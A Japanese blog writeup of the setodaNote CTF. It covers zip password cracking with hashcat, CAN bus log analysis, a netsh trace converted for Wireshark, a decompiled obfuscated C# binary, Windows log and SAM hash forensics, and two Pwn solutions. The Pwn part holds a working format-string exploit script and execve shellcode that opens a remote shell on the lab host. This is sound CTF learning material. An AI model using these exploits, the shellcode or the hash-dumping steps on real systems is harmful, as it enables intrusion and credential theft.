setodaNote CTF Writeup
soji256 (@soji256) | Twitter さんが開催したsetodaNote CTFに参加させていだたきました。
2週間という期間で様々なカテゴリの問題が出題され、とても楽しく参加させていただきました。
粘りが足らず残念ながら全問正答には至りませんでしたが、解けた問題で正答者100名以下の問題を備忘もかねて(むしろこちらがメイン)Writeupを書こうと思います。
※ほかの問題の解き方は別の方のWriteupを参照ください。(他力本願でスイマセン😓。)
ハッシュタグで検索するといろいろな方が作成してくださっています。→#setodaNoteCTF hashtag on Twitter
Misc
strong_password
あなたの同僚は部署内で利用されているパスワード規則に疑問を抱いているようです。脆弱なパスワードが生成されてしまうのではないかと。これを確かめるべく同僚は、過去実際にこの規則に従い作成されていたパスワード付きzipのコピーをあなたに送付し、その解析を依頼しました。
添付されたファイルを解析し、フラグを入手してください。なお、ファイルはコピーであり更新日時が実際にパスワード設定された日時とは異なる点に注意してください。
暗号化設定されたZipファイルのパスワードを解析する問題のようです。
PDFファイルが添付されており、パスワードの設定規則が記載されています。
パスワードの書式がわかっているので、hashcatを利用し解析してみます。
ツールはTsurugi Linux(CTFでは常用しています)に標準搭載のzip2johnと、hashcat(こちらはGitHubから)を利用しました。
まずはzip2johnを利用し、hashcatで解析できる形にします。
user1@trg:~/strong_password$ zip2john TopSecret.zip | cut -d ":" -f 2 > TopSecret.zip.hash ver 2.0 TopSecret.zip/TopSecret.txt PKZIP Encr: cmplen=85, decmplen=73, crc=8578F5F9 user1@trg:~/strong_password$ cat TopSecret.zip.hash $pkzip2$1*1*2*0*55*49*8578f5f9*0*2b*0*55*8578*92c0*598c6b323287ee253bad1378d1f4fe4d91648ea9f1e60fe80374b917e47421b6f3379cf786e9c22453d02e8192c2aecd93122be13b2c348d02c0229c6c8a6b433ac24b17d0e18f215252601daafe595eb6ba28eab3*$/pkzip2$
次にGitHubよりhashcatをcloneしmakeします。(Tsurugi Linuxにも標準で搭載されていますが、バージョンがv5.1.0と少し古く、利用したいオプションが使えなかったので別で持ってきました。)
user1@trg:~/strong_password$ git clone https://github.com/hashcat/hashcat.git user1@trg:~/strong_password$ cd hashcat/ user1@trg:~/strong_password/hashcat$ make user1@trg:~/strong_password/hashcat$ ./hashcat --version v6.2.4-39-g8c14fd8
makeできたので、Zipパスワードを解析します。
hashcatを利用し、以下のように実行しました。
user1@trg:~/strong_password/hashcat$ ./hashcat -m 17210 -a 3 ../TopSecret.zip.hash -o result.txt -1 '?l?u' -2 '@#$%!-' -3 '01' -4 '0123' '?1?1?1?22021?3?d?4?d?2'
オプションの補足です。
オプション | 意味 |
---|---|
-m 17210 | 解析する対象が何かを指定します。Zipは数種類ありますが、17210で動作しました。 (指定を間違えるとすぐにコマンド終了するのでわかります。) |
-a 3 | 解析モードを指定します。3を指定するとブルートフォース、または指定するフォーマットに従って解析を行います。 |
-o result.txt | 解析結果をファイルに保存します。 |
-1 '?l?u' | フォーマットのユーザ定義です。「?1」を「?l?u」と定義します。「?l」は任意の英小文字1文字、「?u」は任意の英大文字1文字を意味し、結果として「?1」は任意の英字(大文字小文字)1文字と定義されます。 |
-2 '@#$%!-' | フォーマットのユーザ定義です。「?2」を「@#$%!-」の中の1文字と定義します。 |
-3 '01' | フォーマットのユーザ定義です。「?3」を「01」の中の1文字と定義します。 |
-4 '0123' | フォーマットのユーザ定義です。「?4」を「0123」の中の1文字と定義します。 |
'?1?1?1?22021?3?d?4?d?2' | 解析するパスワードのフォーマットです。 「?d」は任意の数字1文字に置き換えられます。 「?1」~「?4」は上の行で定義したユーザ定義に沿って置き換えられます。 上記設定より、指定したフォーマットは正規表現で示すと次のようになります: [a-zA-Z]{3}[@#$%!-]2021[01][0-9][0-3][0-9][@#$%!-] |
※年を2021に固定した部分は、2021年でなければさかのぼるつもりでした。
※ありえない日にち(例えば13月や、32日など)も入ってしまいますが、そこはいったん無視しました・・
結果は以下のようになり、無事解析できました。
user1@trg:~/strong_password/hashcat$ ./hashcat -m 17210 -a 3 ../TopSecret.zip.hash -o result.txt -1 '?l?u' -2 '@#$%!-' -3 '01' -4 '0123' '?1?1?1?22021?3?d?4?d?2' hashcat (v6.2.4-39-g8c14fd8) starting OpenCL API (OpenCL 1.2 LINUX) - Platform #1 [Intel(R) Corporation] ================================================================== * Device #1: Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz, 1922/3908 MB (488 MB allocatable), 2MCU (snip) Session..........: hashcat Status...........: Cracked Hash.Mode........: 17210 (PKZIP (Uncompressed)) Hash.Target......: $pkzip2$1*1*2*0*55*49*8578f5f9*0*2b*0*55*8578*92c0*...kzip2$ Time.Started.....: Sun Sep 5 20:38:50 2021 (3 mins, 1 sec) Time.Estimated...: Sun Sep 5 20:41:51 2021 (0 secs) Kernel.Feature...: Pure Kernel Guess.Mask.......: ?1?1?1?22021?3?d?4?d?2 [13] Guess.Charset....: -1 ?l?u, -2 @#$%!-, -3 01, -4 0123 Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 9719.4 kH/s (14.54ms) @ Accel:128 Loops:512 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 1800437760/4049510400 (44.46%) Rejected.........: 0/1800437760 (0.00%) Restore.Point....: 12800/28800 (44.44%) Restore.Sub.#1...: Salt:0 Amplifier:2048-2560 Iteration:0-512 Candidate.Engine.: Device Generator Candidates.#1....: oHA$20211515- -> kVE#20211809! Hardware.Mon.#1..: Util:100% Started: Sun Sep 5 20:38:06 2021 Stopped: Sun Sep 5 20:41:52 2021 user1@trg:~/strong_password/hashcat$ cat result.txt $pkzip2$1*1*2*0*55*49*8578f5f9*0*2b*0*55*8578*92c0*598c6b323287ee253bad1378d1f4fe4d91648ea9f1e60fe80374b917e47421b6f3379cf786e9c22453d02e8192c2aecd93122be13b2c348d02c0229c6c8a6b433ac24b17d0e18f215252601daafe595eb6ba28eab3*$/pkzip2$:qYL%20210228!
パスワードは「qYL%20210228!」とわかりましたので、Zipファイルを復号し中身を確認します。
user1@trg:~/strong_password/hashcat$ cd .. user1@trg:~/strong_password$ unzip TopSecret.zip Archive: TopSecret.zip [TopSecret.zip] TopSecret.txt password: extracting: TopSecret.txt user1@trg:~/strong_password$ cat TopSecret.txt 洩pX?[・S??肩?・ flag{And_n0w_h3re_is_my_s3cre7} user1@trg:~/strong_password$
FLAG:flag{And_n0w_h3re_is_my_s3cre7}
パスワードのフォーマットが既知である場合は、パスワードの文字数、文字種を多く使っても比較的簡単に解析できることがわかりました。(今回は4分弱で解析できました。)
Network
yes_you_can
精密機械の技術者である古い友人から一通の封筒が送られてきました。中にはあなたに解析してほしいと震えた筆跡で書かれた手紙と1枚の SD カード。SD カードの中には1つのファイルが記録されていました。
添付されたファイルを解析してフラグを入手してください。
ログを確認すると以下のようなログが大量に記録されています。
user1@trg:~/yes_you_can$ head dump.log (1628245600.155918) vcan0 095#800007F400000017 (1628245600.157006) vcan0 1A4#000000080000003E (1628245600.157018) vcan0 1AA#7FFF00000000673F (1628245600.157020) vcan0 1B0#000F0000000175 (1628245600.157023) vcan0 1D0#000000000000000A (1628245600.158095) vcan0 166#D0320027 (1628245600.160232) vcan0 158#0000000000000028 (1628245600.160243) vcan0 161#000005500108002B (1628245600.160245) vcan0 191#010010A141001A (1628245600.160247) vcan0 133#00000000B6
内容と問題名(can)より、CAN(Controller Area Network)の通信のダンプと推定できます。
参考:CAN(Controller Area Network)とは - IT用語辞典 e-Words
ざっと見ただけではよくわからず先に進めそうにないと判断したので、Linux上にCANの環境を導入しもう少し詳しく見てみようと思います。
以下のツールを導入、設定しました。
user1@trg:~/yes_you_can$ sudo apt install can-utils user1@trg:~/yes_you_can$ modprobe vcan user1@trg:~/yes_you_can$ lsmod |grep vcan vcan 16384 0 user1@trg:~/yes_you_can$ sudo ip link add dev vcan0 type vcan user1@trg:~/yes_you_can$ sudo ip link set up vcan0 user1@trg:~/yes_you_can$ ip link show dev vcan0 6: vcan0: <NOARP,UP,LOWER_UP> mtu 72 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000 link/can
CANのツールを調べたところ、CANの通信をASCII文字として取り出せるのがわかったので、これを試してみます。
手順は以下の通りです。
- candumpコマンドを実行・待機させ、CAN通信を記録する。オプションとしてASCII文字を取り出す設定をする。
- canplayerコマンドを実行し、問題で提供されたDumpファイルを読み込み流す。(再送する。)
ターミナルを2つ用意し、それぞれコマンドを実行します。canplayerコマンドの実行が完了後、candumpコマンドを停止させます。
candump -d -x -e -a vcan0 > dump2.log
canplayer -I dump.log
ログを確認します。
user1@trg:~/yes_you_can$ head dump2.log vcan0 TX - - 095 [8] 80 00 07 F4 00 00 00 17 '........' vcan0 TX - - 1A4 [8] 00 00 00 08 00 00 00 3E '.......>' vcan0 TX - - 1AA [8] 7F FF 00 00 00 00 67 3F '......g?' vcan0 TX - - 1B0 [7] 00 0F 00 00 00 01 75 '......u' vcan0 TX - - 1D0 [8] 00 00 00 00 00 00 00 0A '........' vcan0 TX - - 166 [4] D0 32 00 27 '.2.'' vcan0 TX - - 158 [8] 00 00 00 00 00 00 00 28 '.......(' vcan0 TX - - 161 [8] 00 00 05 50 01 08 00 2B '...P...+' vcan0 TX - - 191 [7] 01 00 10 A1 41 00 1A '....A..' vcan0 TX - - 133 [5] 00 00 00 00 B6 '.....'
想定通りASCII文字が見えるようになりました。
これ以降はLinuxのコマンドを駆使し探している文字列(flag{など)を探していきます。とりあえず「{」を探してみました。
user1@trg:~/yes_you_can$ cat dump2.log | cut -d' ' -f4- | grep "{" TX - - 244 [5] 00 00 00 01 7B '....{' TX - - 244 [5] 00 00 00 01 7B '....{' TX - - 244 [5] 00 00 00 7B 00 '...{.' (snip)
「244」という種類の命令?に多く見られましたので、ここに注目し探してみます。
※同じ命令の通信が連続で出ていたので、uniqコマンドで重複排除しています。
user1@trg:~/yes_you_can$ cat dump2.log | cut -d' ' -f4- | grep " 244 " | uniq | egrep "f|l|a|g|{" TX - - 244 [5] 00 00 00 01 66 '....f' TX - - 244 [5] 00 00 00 01 7B '....{' TX - - 244 [5] 00 00 00 01 7B '....{' TX - - 244 [5] 00 00 00 01 61 '....a' TX - - 244 [5] 00 00 00 66 00 '...f.' TX - - 244 [5] 00 00 00 6C 00 '...l.' TX - - 244 [5] 00 00 00 61 00 '...a.' TX - - 244 [5] 00 00 00 67 00 '...g.' TX - - 244 [5] 00 00 00 7B 00 '...{.' TX - - 244 [5] 00 00 00 61 00 '...a.' TX - - 244 [5] 00 00 00 61 00 '...a.' TX - - 244 [5] 00 00 00 67 00 '...g.' TX - - 244 [5] 00 00 00 01 7B '....{' (snip)
ASCII文字の4文字目がフラグ文字のようですね。ここだけ抜き取ってみます。
※不要なドットの削除と、改行文字を削除しています。
user1@trg:~/yes_you_can$ cat dump2.log | cut -d' ' -f4- | grep " 244 " | uniq | cut -d"'" -f2 |cut -c 4 |grep -v "\." |tr -d "\n" flag{can_bus_hacking}
FLAG:flag{can_bus_hacking}
実はCANのCTF問題はHoliday Hack Challenge 2020で経験しており、その時の知識が役立ちました😊
あとどうでもいい感想ですが、、個人的には今回のようにコマンドをパイプでつなげまくって解くやり方(シェル芸?)が好きです・・😳
tkys_not_enough
せっかく内偵中の後輩から通信データが送られてきたのに。いわく決定的な証拠を掴んだとのことですが、普段とは異なる方法で取得したデータなのか解析ツールにうまく取り込めません。後輩に聞こうにも通信データが送られた直後「やはり君だったか」という聞きなれない男の声を最後に連絡が途絶えてしまっています。あなたは何とかしてこの通信データを解析しなければなりません。
添付されたファイルを解析し、フラグを入手してください。
PCAPが添付されていますが、WireSharkでは正常に開けないようです。
サクラエディタで開き、中に書いている「NetTrace.etl」でググったところ、どうやらこのPCAPはWindowsのnetshコマンドで採取したもののようです。
そこでこちらのサイトを参考に、WireSharkで読めるPCAPに変換します。
troushoo.blog.fc2.com
C:\Users\user03\Desktop\etl2pcapng\x64>etl2pcapng.exe tkys_not_enough.pcap tkys_not_enough.pcapng IF: medium=eth ID=0 IfIndex=15 Converted 58 frames
変換したファイルをWireSharkで開いてみます。
問題なく開けました。
次にいくつかの通信を右クリック→「追跡」→「TCPストリーム」で見てみましたが、一部のhttp通信のレスポンスを正常に確認できない状態でしたので、Tcp500宛ての通信はhttp通信であるとWireSharkに設定してあげます。
対象の通信を右クリックし、「...としてデコード」を選択します。
値は「500」、現在は「HTTP」に設定します。
無事Tcp500宛ての通信をhttp通信として認識できるようになったので、GETリクエストのパスがランダムっぽいものの通信を右クリック→「追跡」→「HTTPストリーム」を選択し、中身を確認します。
無事フラグを確認することができました。
FLAG:flag{netw0rk_shell_2000}
Rev
to_analyze
あの施設はなんだったのだろう。ふとした瞬間に思い出す。「秘密情報が含まれているファイルを入手した。特定の環境で実行した場合のみ情報が表示される仕組みのようだが条件が特定できない。解析してみてくれないか。」同僚から連絡が入る。端末を開き受信データを確認する。今日の解析対象が画面に表示される。
添付されたファイルを解析してフラグを入手してください。
ファイルは「infected」というパスワード付き ZIP になっています。
Windows用の実行ファイルが提供されます。
デバッガツール(x64dbg)で調査していましたが、いまいち動きがよくわからなかったので、試しにilspyでデコンパイルしてみます。
正常にデコンパイルでき、ソースコードを確認できる状態になりました。
中身を確認したところ、あるフォルダの有無で処理を分岐しているようです。ただその判断に利用する文字列はXORなどで難読化していたため、ソースコードを別のファイルとして取り出しし、実行時に毎回表示される「nice try!」の直前に、チェックしているであろう文字列(A_0)を出力してみることにします。
整形したソースコードは以下になります。
using System; using System.IO; using System.Text; class MainClass { static void Main() { a(); } static void a() { byte[] array = new byte[15] { 65, 127, 89, 80, 182, 160, 183, 182, 89, 118, 119, 116, 177, 189, 177 }; for (int i = 0; i < array.Length; i++) { array[i] ^= 35; if (a(array[i], 119)) { array[i] += 3; } array[i] ^= 21; array[i] -= 32; array[i] = b(array[i], 39); } a(Encoding.ASCII.GetString(array), array); } static byte b(byte A_0, int A_1) { switch (A_1) { case 114: A_0 = (byte)(A_0 ^ 0x28); break; case 39: A_0 = (byte)(A_0 ^ 0x13); break; } return A_0; } static bool a(byte A_0, int A_1) { if (A_1 == 119) { if (A_0 == 107 || A_0 == 117 || A_0 == 108 || A_0 == 102 || A_0 == 98) { return true; } } else if (A_0 == 110 || A_0 == 119 || A_0 == 99 || A_0 == 111 || A_0 == 97 || A_0 == 101 || A_0 == 112 || A_0 == 103 || A_0 == 108 || A_0 == 107 || A_0 == 112 || A_0 == 113) { return true; } return false; } static void a(string A_0, byte[] A_1) { if (Directory.Exists(A_0)) { Console.WriteLine("Yes, that's the right answer."); byte[] array = new byte[27] { 9, 37, 48, 34, 41, 61, 199, 49, 220, 63, 115, 59, 220, 200, 46, 115, 57, 220, 214, 50, 53, 46, 47, 37, 124, 62, 9 }; for (int i = 0; i < array.Length; i++) { array[i] ^= A_1[12]; array[i] ^= A_1[8]; array[i] ^= A_1[3]; array[i] ^= 35; if (a(array[i], 113)) { array[i] += 3; } array[i] ^= 21; array[i] -= 32; array[i] = b(array[i], 114); } Console.WriteLine(Encoding.ASCII.GetString(array)); } else { Console.WriteLine(A_0); Console.WriteLine("nice try!"); } } }
コンパイルし、実行します。 (Windows10環境では、標準でC#のコンパイラが導入されています。ちょっとしたコンソールアプリケーションを生成する際など、追加パッケージなしで利用でき便利です。)
C:\Users\user03\Desktop>C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe to_analyze_copy.cs Microsoft (R) Visual C# Compiler version 4.8.4084.0 for C# 5 Copyright (C) Microsoft Corporation. All rights reserved. This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240 C:\Users\user03\Desktop> C:\Users\user03\Desktop>to_analyze_copy.exe C:\Users\321txt nice try! C:\Users\user03\Desktop>
チェック対象のフォルダは「C:\Users\321txt」ということがわかりました。
所定の場所に「321txt」を生成し、再度実行してみます。(フォルダ作成は、要管理者権限。)
C:\Users\user03\Desktop>mkdir C:\Users\321txt C:\Users\user03\Desktop> C:\Users\user03\Desktop>to_analyze_copy.exe Yes, that's the right answer. flag{Do_y0u_Kn0w_Ursnif?} C:\Users\user03\Desktop>
無事、フラグを入手できました。
FLAG:flag{Do_y0u_Kn0w_Ursnif?}
Forensics
CSIRT_asks_you_01
組織内のインシデント対応部署から急ぎ解析してほしいとの依頼が舞い込みました。不正侵入が確認された端末の Windows イベントログの調査で、状況把握のために侵害に関する詳細な日時を確認してほしいということのようです。
今回のあなたの仕事は送られてきたファイルを解析し、不正な方法によってネットワーク経由のログインが成功したことを示している最初の記録日時(TimeCreated SystemTime) と Event ID を特定することです。
フラグは UTC での記録日時 を yyyy/mm/dd_hh:mm:ss 形式にし、最後に Event ID をアンダースコアでつなげた形で答えてください。例えば 記録日時 が 2020/01/10 7:05:13.9234567Z 、Event ID が 1234 の場合は flag{2020/01/10_07:05:13_1234} となります。記録日時は UTC+0 で回答することに注意してください。
Securityのイベントログが提供されているので、Splunkに取り込んで確認してみます。(無料版である程度解析できるのでオススメです。)
探すべきログは、以下の条件に合うものになります。
- ログインが成功したログ → EventIDが「4624」
- ネットワーク経由のログインログ → ログオンタイプが「3」
参考:Windowsのイベントログ(Security)を見る② ~ログオン成功とログオン失敗~ - サイバーセキュリティはじめました
上記の条件でSplunkで絞り込みます。
3件のログがヒットしました。
1つ目、2つ目のログの時刻をフラグとして投入しましたがはじかれてしまったため、試しに3つ目のログの時刻を投入したところパスしました。
FLAG:flag{2021/07/18_20:09:21_4624}
unallocated_space
「こりゃ今夜は帰れそうにないな」同僚がそう言いながらハードディスクやUSBメモリが大量に詰まった箱をどさっとデスクに置きます。すべてある組織で使用されていたもので本来は破壊処理されるはずが、不正に利益を得ようとした人物が仲介したことにより、破壊処理されずに中古市場に出回ってしまったもののようです。今日が記念日だという同僚を早く帰すため、あなたはディスクの解析調査を手伝うことにしました。復元可能なデータがないか確認してください。
添付されたファイルを解析し、フラグを入手してください。
ディスクイメージが提供されたので、定番のFTK Imager Liteで開いてみました。しかしファイルシステムを認識できない?のか、正常に中身を確認できませんでした。。
そこで試しに7Zipで開いてみたところ、中身を確認することができました。
(多くのアーカイブ形式に対応し、さらにステガノグラフィのような部分的に圧縮形式のバイナリになっているファイルも、その部分を認識し開けることが多く、とりあえず突っ込んでみるのがおすすめです。)
「flag.mp4」を取り出し再生してみたところ、フラグの画像を生成している部分がありました。
FLAG:flag{file_carving_gogo}
CSIRT_asks_you_02
組織内のインシデント対応部署から引き続き急ぎ解析してほしいとの依頼を受けています。
一つ目の解析依頼(CSIRT_asks_you_01)の結果と別の証拠などから、あるアカウントのパスワードが脆弱である可能性が示唆されています。添付されたファイルを解析し、そのパスワードを特定してください。
フラグはアカウント名とパスワード(平文)をアンダースコアでつないで回答してください。例えばアカウント名が user 、パスワードが pass の場合は flag{user_pass} と回答します。
各レジストリファイル(SAM、SYSTEM、SECURITYなど)が提供されます。
SAMとSYSTEMがあるので、samdump2コマンドで解析してみます。
user1@trg:~/csirt2$ samdump2 SYSTEM SAM *disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: *disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: *disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: *disabled* :504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: stella:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: :1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: :1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
結果は上記の通りで、どうも正常に解析できていないようです。。
そこで別のツールを探したところ、以下のツールが見つかりました。 www.openwall.com
DLし実行してみたところ、パスワードハッシュを取得できました。
C:\Users\user77\Desktop\pwdump8>pwdump8.exe -f SYSTEM SAM PwDump v8.2 - dumps windows password hashes - by Fulvio Zanetti & Andrea Petralia @ http://www.blackMath.it Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 DefaultAccount:503:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 WDAGUtilityAccount:504:AAD3B435B51404EEAAD3B435B51404EE:27C3A146AA209B2120F7ECC9DB065540 stella:1001:AAD3B435B51404EEAAD3B435B51404EE:2F8AE2E260D0CFE3756FF53E639E3377 test:1002:AAD3B435B51404EEAAD3B435B51404EE:3C99B8901B00758369F18B9DF72012C8 akari:1003:AAD3B435B51404EEAAD3B435B51404EE:B66EADE488CE2C23BA226427E40FED41
解析すべきアカウントは、CSIRT_asks_you_01で出てきたログに記載されている、不正に利用されたとされるアカウント「test」になります。
レインボーテーブルを検索できるサイト(CrackStation)で検索してみます。 crackstation.net
ヒットしました。パスワードは「testtest」のようです。
FLAG:flag{test_testtest}
Pwn
1989
脆弱性を調査し、フラグを入手してください。
nc 10.1.1.10 13030
アクセスすると以下のような出力、やり取りができます。
user@31c0e4ac3e0f:~$ nc 10.1.1.10 13030 =========================================================== _______ ________ __ ____ _ _ / ____\ \ / / ____| /_ |___ \| || | | | \ \ /\ / /| |__ ______ | | __) | || |_ | | \ \/ \/ / | __| |______| | ||__ <|__ _| | |____ \ /\ / | |____ | |___) | | | \_____| \/ \/ |______| |_|____/ |_| ========================================================== | flag | [0x565fd060] >> flag is here << | Ready > aaa Your Inpur : aaa
CWE-134で検索すると、これはフォーマットストリングアタックのことのようです。
参考:CWE - CWE-134: Use of Externally-Controlled Format String (4.5)
そこで定番ですが「%p」を送ってみます。
user@31c0e4ac3e0f:~$ nc 10.1.1.10 13030 =========================================================== _______ ________ __ ____ _ _ / ____\ \ / / ____| /_ |___ \| || | | | \ \ /\ / /| |__ ______ | | __) | || |_ | | \ \/ \/ / | __| |______| | ||__ <|__ _| | |____ \ /\ / | |____ | |___) | | | \_____| \/ \/ |______| |_|____/ |_| ========================================================== | flag | [0x565b6060] >> flag is here << | Ready > aaaa %p %p %p %p %p %p %p %p %p %p %p %p Your Inpur : aaaa 0xffc5f010 0xffc5f418 0x565b3306 0x61616161 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025
スタックのアドレスが漏れていますので、間違いなさそうです。また入力した文字列(aaaa)はスタックの4番目(0x61616161)に入っていることがわかります。
解法ですが、アクセス時に表示されている「flag | [0x565b6060] >> flag is here << 」がヒントで、「0x565b6060」にフラグの文字列が格納されている?と推定できます。
「Your Inpur : 」で画面に出力される文字列は4番目のスタックに入っているものになるので、フォーマットストリングバグを利用し、4番目のスタックの情報を書き換えます。
Exploitコードは以下のようにしました。
from pwn import * import re r = remote('10.1.1.10', 13030) msg=r.recv(1024) m=re.match(r'.*(0x[a-f0-9]{8}).*', str(msg)) print(m.groups()[0]) addr=int(m.groups()[0],16) buf=struct.pack("<I",addr) + '%4$s'.encode('utf-8') r.sendline(buf) print(r.recv(1024).decode('utf-8')) r.close()
実行します。
user@31c0e4ac3e0f:~$ python3 1989_exploit.py [+] Opening connection to 10.1.1.10 on port 13030: Done 0x56607060 Your Inpur : `p`Vflag{Homenum_Revelio_1989}
無事フラグを取得できました。
FLAG:flag{Homenum_Revelio_1989}
Shellcode
添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。
nc 10.1.1.10 13050
ELFの実行ファイルが提供されるので、実行してみます。
user1@trg:~/shellcode_w$ ./shellcode | target | [0x7fffffffe0d0] | Well. Ready for the shellcode? > aaa aaa
入力した文字列をそのまま出力するプログラムのようです。試しに多くの文字を送ってみます。
user1@trg:~/shellcode_w$ ./shellcode | target | [0x7fffffffe0d0] | Well. Ready for the shellcode? > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault (core dumped) user1@trg:~/shellcode_w$
オーバーフローしたようです。
また、実行ファイルをGhidraに放り込んでデコンパイルしてみます。
文字列格納用変数(local_58)がchar型で80バイトで定義されています。後半のコードから、80文字以上入力するとオーバーフローしてしまうことがわかります。
また実行時に画面表示される「target | [0x7fffffffe0d0]」は、この文字列格納用変数(local_58)のアドレスのようです。
すなわち、バッファオーバーフローでリターンアドレスを書き換え、この変数のアドレスを指定、変数の中にはシェルを起動するコードを書いておくことで、シェルを実行できそうです。
以下がイメージ図です。(変数のアドレスは例で、私の環境でASLR無効化した状態のものです。)
まずローカル環境で攻略してみます。(やりやすいようにASLRを無効化しておきます。検証終了後は戻すことを忘れずに・・)
user1@trg:~/shellcode_w$ sudo sysctl -w kernel.randomize_va_space=0
バッファを溢れさせるサイズの文字はトライ&エラーを繰り返し調整しました。
またシェルコードはこちらのサイトを参考にさせていただきました。
inaz2.hatenablog.com
ローカル環境で実行してみます。
user1@trg:~/shellcode_w$ (echo -e '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'`python -c "print 'A'*(59)"`'\xd0\xe0\xff\xff\xff\x7f' ; cat ) | ./shellcode | target | [0x7fffffffe0d0] | Well. Ready for the shellcode? B;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA俥 ls shellcode id uid=1000(user1) gid=1000(user1) groups=1000(user1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),133(debian-tor),138(sambashare)
無事シェルコードが起動し、コマンドのやり取りが行える状態になりました。
最後にリモート環境で、ASLRに対応したExploitコードを生成します。
from pwn import * import re r = remote('10.1.1.10', 13050) msg=r.recv(1024) m=re.match(r'.*0x([a-f0-9]{12}).*', str(msg)) print(m.groups()[0]) shellcode='\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05' a=re.split('(..)',m.groups()[0])[1::2] a.reverse() addr="".join([ chr(int(i,16)) for i in a]) buf=shellcode + ("A" *59) + addr + "\n" r.send(buf) r.interactive()
上記コードを実行します。
user@31c0e4ac3e0f:~$ python3 shellcode_exploit.py [+] Opening connection to 10.1.1.10 on port 13050: Done 7fff9414bd00 [*] Switching to interactive mode H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ id uid=999(user) gid=999(user) groups=999(user) $ ls bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var $ cd /home $ ls user $ cd user $ ls flag shellcode $ cat flag flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities} $
無事リモート環境でもシェルコードを起動でき、コマンド操作でフラグを得ることができました。
FLAG:flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
最後に
最初にも記載しましたが、様々なカテゴリの問題が出題され、また初学者の方も楽しめる設計ということで、より多くの方が楽しめたのではないかなと思います。(かくいう私も久しぶりのCTFでしたがとても楽しめました!)
カテゴリ設定のすばらしさもさることながら、最近話題になった事案やニュースも交えているのがまたよかったのではと思います。私自身忘れていたものが多く、復習になりました。手を動かして実際に検証までしないとダメということですね😓
これをお一人で作成し運用されたというのは本当に脱帽のレベルです。すばらしいCTFをありがとうございました!
最後にお決まりですが、、(もし次回開催があれば、)今度は完走できるよう精進します!